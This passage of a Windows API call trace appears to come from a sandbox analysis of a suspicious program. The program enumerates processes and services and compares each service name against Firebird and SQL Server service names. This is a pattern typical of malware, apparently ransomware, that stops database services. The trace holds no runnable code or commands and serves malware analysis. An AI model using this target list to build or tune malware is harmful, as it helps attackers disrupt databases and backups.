	[0074.984] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0074.985] lstrlenW (lpString="conhost.exe") returned 11
	[0074.985] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0074.985] CloseHandle (hObject=0x380) returned 1
	[0074.985] Sleep (dwMilliseconds=0x1f4) 
	[0075.564] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52d9d0
	[0075.565] EnumServicesStatusExW (in: hSCManager=0x52d9d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0
	[0075.565] GetLastError () returned 0xea
	[0075.565] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1d60) returned 0x4314a18
	[0075.566] EnumServicesStatusExW (in: hSCManager=0x52d9d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4314a18, cbBufSize=0x1d60, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4314a18, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1
	[0075.566] CloseServiceHandle (hSCObject=0x52d9d0) returned 1
	[0075.566] lstrlenW (lpString="Appinfo") returned 7
	[0075.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0075.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0075.567] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0075.567] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0075.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0075.567] lstrlenW (lpString="AppXSvc") returned 7
	[0075.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0075.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0075.567] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0075.567] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0075.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0075.567] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0075.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0075.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0075.567] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0075.567] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0075.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0075.567] lstrlenW (lpString="Audiosrv") returned 8
	[0075.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0075.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0075.567] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0075.567] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0075.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0075.567] lstrlenW (lpString="BFE") returned 3
	[0075.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0075.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0075.567] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0075.567] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0075.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0075.567] lstrlenW (lpString="BITS") returned 4
	[0075.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0075.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0075.568] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0075.568] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0075.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0075.568] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0075.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0075.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0075.568] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0075.568] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0075.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0075.568] lstrlenW (lpString="CDPSvc") returned 6
	[0075.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0075.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0075.568] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0075.568] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0075.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0075.568] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0075.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0075.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0075.568] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0075.568] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0075.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0075.568] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0075.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0075.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0075.568] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0075.568] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0075.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0075.568] lstrlenW (lpString="CryptSvc") returned 8
	[0075.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0075.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0075.568] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0075.568] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0075.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0075.569] lstrlenW (lpString="DcomLaunch") returned 10
	[0075.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0075.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0075.569] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0075.569] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0075.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0075.569] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0075.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0075.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0075.569] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0075.569] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0075.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0075.569] lstrlenW (lpString="Dhcp") returned 4
	[0075.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0075.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0075.569] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0075.569] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0075.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0075.569] lstrlenW (lpString="Dnscache") returned 8
	[0075.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0075.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0075.569] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0075.569] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0075.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0075.569] lstrlenW (lpString="DoSvc") returned 5
	[0075.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0075.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0075.569] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0075.569] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0075.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0075.569] lstrlenW (lpString="DPS") returned 3
	[0075.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0075.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0075.570] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0075.570] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0075.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0075.570] lstrlenW (lpString="DusmSvc") returned 7
	[0075.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0075.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0075.570] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0075.570] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0075.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0075.570] lstrlenW (lpString="EventLog") returned 8
	[0075.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0075.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0075.570] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0075.570] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0075.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0075.570] lstrlenW (lpString="EventSystem") returned 11
	[0075.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0075.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0075.570] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0075.570] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0075.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0075.570] lstrlenW (lpString="FontCache") returned 9
	[0075.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0075.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0075.570] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0075.570] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0075.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0075.570] lstrlenW (lpString="gpsvc") returned 5
	[0075.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0075.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0075.570] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0075.570] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0075.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0075.571] lstrlenW (lpString="iphlpsvc") returned 8
	[0075.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0075.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0075.571] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0075.571] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0075.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0075.571] lstrlenW (lpString="KeyIso") returned 6
	[0075.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0075.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0075.571] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0075.571] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0075.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0075.571] lstrlenW (lpString="LanmanServer") returned 12
	[0075.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0075.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0075.571] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0075.571] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0075.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0075.571] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0075.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0075.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0075.571] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0075.571] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0075.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0075.571] lstrlenW (lpString="lfsvc") returned 5
	[0075.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0075.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0075.571] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0075.571] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0075.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0075.571] lstrlenW (lpString="lmhosts") returned 7
	[0075.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0075.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0075.572] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0075.572] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0075.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0075.572] lstrlenW (lpString="LSM") returned 3
	[0075.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0075.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0075.572] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0075.572] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0075.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0075.572] lstrlenW (lpString="MapsBroker") returned 10
	[0075.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0075.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0075.572] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0075.572] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0075.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0075.572] lstrlenW (lpString="MpsSvc") returned 6
	[0075.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0075.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0075.572] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0075.572] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0075.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0075.572] lstrlenW (lpString="NcbService") returned 10
	[0075.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0075.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0075.572] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0075.572] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0075.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0075.572] lstrlenW (lpString="netprofm") returned 8
	[0075.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0075.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0075.572] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0075.572] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0075.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0075.573] lstrlenW (lpString="NgcSvc") returned 6
	[0075.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0075.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0075.573] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0075.573] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0075.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0075.573] lstrlenW (lpString="NlaSvc") returned 6
	[0075.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0075.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0075.573] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0075.573] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0075.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0075.573] lstrlenW (lpString="nsi") returned 3
	[0075.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0075.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0075.573] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0075.573] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0075.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0076.042] lstrlenW (lpString="PcaSvc") returned 6
	[0076.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0076.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0076.043] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0076.043] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0076.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0076.043] lstrlenW (lpString="PlugPlay") returned 8
	[0076.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0076.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0076.043] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0076.043] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0076.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0076.043] lstrlenW (lpString="Power") returned 5
	[0076.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0076.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0076.043] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0076.043] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0076.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0076.043] lstrlenW (lpString="ProfSvc") returned 7
	[0076.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0076.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0076.043] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0076.043] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0076.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0076.043] lstrlenW (lpString="RpcEptMapper") returned 12
	[0076.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0076.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0076.043] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0076.043] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0076.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0076.043] lstrlenW (lpString="RpcSs") returned 5
	[0076.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0076.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0076.044] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0076.044] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0076.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0076.044] lstrlenW (lpString="SamSs") returned 5
	[0076.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0076.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0076.044] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0076.044] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0076.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0076.044] lstrlenW (lpString="Schedule") returned 8
	[0076.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0076.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0076.044] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0076.044] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0076.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0076.044] lstrlenW (lpString="SecurityHealthService") returned 21
	[0076.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0076.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0076.044] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0076.044] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0076.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0076.044] lstrlenW (lpString="SENS") returned 4
	[0076.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0076.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0076.044] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0076.044] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0076.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0076.044] lstrlenW (lpString="ShellHWDetection") returned 16
	[0076.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0076.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0076.045] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0076.045] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0076.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0076.045] lstrlenW (lpString="Spooler") returned 7
	[0076.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0076.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0076.045] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0076.045] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0076.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0076.045] lstrlenW (lpString="StateRepository") returned 15
	[0076.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0076.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0076.045] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0076.045] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0076.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0076.045] lstrlenW (lpString="SysMain") returned 7
	[0076.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0076.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0076.045] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0076.045] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0076.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4314a18 | out: hHeap=0x4f0000) returned 1
	[0076.045] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x340
